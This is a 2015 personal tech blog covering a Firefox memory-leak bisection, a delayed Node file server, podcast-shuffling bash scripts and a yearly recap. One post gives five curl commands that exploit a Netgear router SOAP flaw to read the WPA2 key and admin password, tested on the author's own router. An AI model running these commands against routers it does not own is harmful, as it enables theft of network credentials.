f-log

just another web log

25 Feb 2015:
Tracked down my firfox memory leak to a single commit
It's I time to return to FireFix.

I have mountains of notes about all this but I going to condense it all down to the following.

Ran http://mozilla.github.io/mozregression/ which builds each version in turn, runs it then asks you if there were any problems.

this narrowed the issue date to around the beginning of December 2013 and gave a short list of the actual changesets

http://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=9688476c1544&tochange=725c36b5de1a

which I worked through and got a smaller set of commits

http://hg.mozilla.org/mozilla-central/pushloghtml?startdate=Nov+20+2013&enddate=Dec+4+2013

of the 40, I failed to build the first 12, then the next 4 built and worked fine and then the 5th built but exhibited the issue. This was the commit that had my bug in it.
http://hg.mozilla.org/mozilla-central/rev/6787bcb8ea7e

just 10 files, unfortunately they are not straight forward.

js/src/jit-test/tests/ion/bug715460.js
js/src/jit-test/tests/ion/bug900437.js
js/src/jit-test/tests/ion/divmodself.js
js/src/jit/MIR.cpp         
js/src/jit/shared/CodeGenerator-x86-shared.cpp
js/src/jit/shared/CodeGenerator-x86-shared.h
js/src/jit/shared/LIR-x86-shared.h         
js/src/jit/shared/Lowering-x86-shared.cpp     
js/src/jit/x64/LOpcodes-x64.h         
js/src/jit/x86/LOpcodes-x86.h
        
I now need to try and manually roll back changes to see if that "fixes" the issue.
20 Feb 2015:
flog link generator gets slapped
oops, my over zealous flog link generator went a bit nuts there making things links.
20 Feb 2015:
simple node sloth server avoids proxy panic
I needed a quick way to server local files with a delay to test a JavaScript image loader. There are many option out there from tc(traffic control) to running a proxy. "tc" is frighteningly complicated and many blog posts about it start with dire warnings. I really did not want to install a proxy just for this one little thing.

So I created "sloth server" the most basic of node based file servers that force response to be delayed.

enjoy, it worked for me!

#!/usr/bin/env node
// sloth server
// 20150220
// Server flat files from current directory with caching disabled
// all files are served with a delay
// usage
// node sloth\ server.js <port> <delay in ms>
// e.g.
// node sloth\ server.js 1111 5000
// will run on port 1111 and delay each response by at least 5 seconds
//
"use strict";
var fs = require('fs');
var http = require('http');
var url = require('url');
var baseDirectory = __dirname; // or whatever base directory you want
var port = 9000;
var delay = 2000;
var portarg = process.argv.slice(2);
if (portarg) {
    port = parseInt(portarg,10);
}
var delayarg = process.argv.slice(3);
if (delayarg) {
    delay = parseInt(delayarg,10);
}
console.log('sloth server is starting from ' + __dirname + ' on port ' + port + ' all request will take a minimum of ' + delay + 'ms');

http.createServer(function (request, response) {
var requestUrl = url.parse(request.url);
var fsPath = baseDirectory+requestUrl.pathname;

    console.log('Attempting to serve ' + fsPath);
    fs.exists(fsPath, function(exists) {
     if(exists) {
         response.writeHead(200, { 'Cache-Control': 'no-cache, private, no-store, must-revalidate, max-stale=0, post-check=0, pre-check=0'});
         fs.readFile(fsPath, function (e,r) {
             setTimeout(function() {
                          response.end(r);
             }, delay);

         });
     } else {
         response.writeHead(404);
         response.end(fsPath + ' does not exist');
     }
    })
}).listen(port);

18 Feb 2015:
curling my way past Ruby and into the netgear router leaks
I came across this new Netgear router issue that exposes WiFi WPA2 key and router admin password(amongst other things), but its in Ruby and I did not want to have to install that.
https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR
So I created these curl equivalent calls.
ROUTER=http://192.168.1.1
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo" --data "''=''" $ROUTER
curl --header "SOAPAction:urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetAttachDevice" --data "''=''" $ROUTER


The output is all messy XML but the data is in plain text and easy enough to read. Sadly my Netgear WNR220 is affected :(

The key seems to be the not quite empty data payload "''=''".

Now watching out a firmware upgrade from Netgear.
16 Feb 2015:
Random file podcast vs random group
I am still fighting the good fight against the firefox memory leak and desperately trying not to get distracted by anyt... oh shiny!

But life goes on and I needed to scratch an itch.

My podcasts have been building up and I hate listening to the same brand one after another so I started trying to randomly name the files.

#!/bin/bash
# takes a file prefix and a folder and adds a random number to all the mp3's that match
prefix=$1
if [ -z $prefix ]; then
    echo "need to supply a prefix"
    exit
fi
target=$2
if [ -z $target ]; then
    echo "need to supply a target folder (including the trailing slash)"
    exit
fi
pushd $target
for fname in $prefix*.mp3
do
mv $fname ${RANDOM}_${fname}
done
popd


But this created a new problem that I would listen to the podcasts out of sequence.

What I needed was a group randomiser.

#!/bin/bash
#podcast randomiser
#20150213

TARGET=$1
if [ -z $TARGET ]; then
    TARGET=/tmp/podcasts
fi

echo "Targeting $TARGET"

function next() {
# loop though each name and get oldest file
    NAMES=$1
    COUNTER=$2
    unset TEMP
    for element in $(seq 0 $((${#NAMES[@]} - 1)))
    do
            echo "Looking for pattern ${NAMES[$element]}_*.mp3"
            FOUND=$(find $TARGET -name "${NAMES[$element]}_*.mp3" | sort -n | head -n 1)
            echo "Found matching $FOUND"
            TEMP=("${TEMP[@]}" $FOUND)
    done
    WINNER=${TEMP[$RANDOM % ${#TEMP[@]} ]}
    echo "Winner of this round is $WINNER"
    # move the WINNER to its numbered filename and set extension
    PAD=$(printf "%05d" $COUNTER)
    TEMPFN=$(echo $WINNER | sed -re "s/(.*)\/([^/]+\.mp3)/\1\/"$PAD"_\2/" | sed -re "s/\.mp3$/\.tmp/")
    mv $WINNER $TEMPFN
}

NAMES=( $(find $TARGET -iname "*.mp3" -printf "%f\n" | egrep -o "^[^_]+" | sort -u) )
FILES=( $(find $TARGET -iname "*.mp3" ) )
for COUNTER in $(seq 0 $((${#FILES[@]} - 1))); do
    next $NAMES    $COUNTER
    echo "========= count at $COUNTER"
done

echo "moving all .tmp files back to mp3"
for fn in $TARGET/*.tmp
do
    mv $fn $TARGET/$(basename $fn .tmp).mp3
done

01 Feb 2015:
Speedy look at 2014 numbers of fun
Whats this? Its only February and the 2014 yearly summary is complete and the archive is updated, I must be feeling unwell.

It was a hell of a year, not a single missed month and over 60 posts! There was my first github project "2048 investigations" shortly followed by the HTML eyeball project and then the Wheel of Destiny.

There were even more Raspberry Pi projects/fun
16 December 2014 - 22:08 motioning the raspberry pi camera into dropbox
28 November 2014 - 21:17 Pumpkin Pi slows down as it reaches X
28 November 2014 - 20:54 Pumpkin pi gets diffuse
24 September 2014 - 22:08 Pycon UK 2014 kids robots quad-copters Minecraft and raspberry pis
06 September 2014 - 22:06 Cat in motion bothers pi camera
23 July 2014 - 20:59 Raspberry Pi WPA2 capture and decryption
13 July 2014 - 08:35 What sizes will motion like for the raspberry pi camera
12 July 2014 - 19:44 uv4l userspace driver gives life to motion and the raspberry pi camera
19 March 2014 - 21:09 Stepper motor python twins and the Raspberry Pi
18 February 2014 - 22:57 Load testing the stepper motor with 90p
11 February 2014 - 23:46 raspberry pi is stepping up
08 February 2014 - 11:31 Making the Pi listen to the Daffodil
28 January 2014 - 22:20 PiGlow makes me pi eyed
and there was the sad news that I can write machine crippling JavaScript, but only on my machine. I still hope to fix this one day.
loading results, please wait loading animateloading animateloading animate
[More tags]
rss feed

email

root

flog archives


Disclaimer: This page is by me for me, if you are not me then please be aware of the following
I am not responsible for anything that works or does not work including files and pages made available at www.jumpstation.co.uk I am also not responsible for any information(or what you or others do with it) available at www.jumpstation.co.uk In fact I'm not responsible for anything ever, so there!

[Pay4Foss banner long]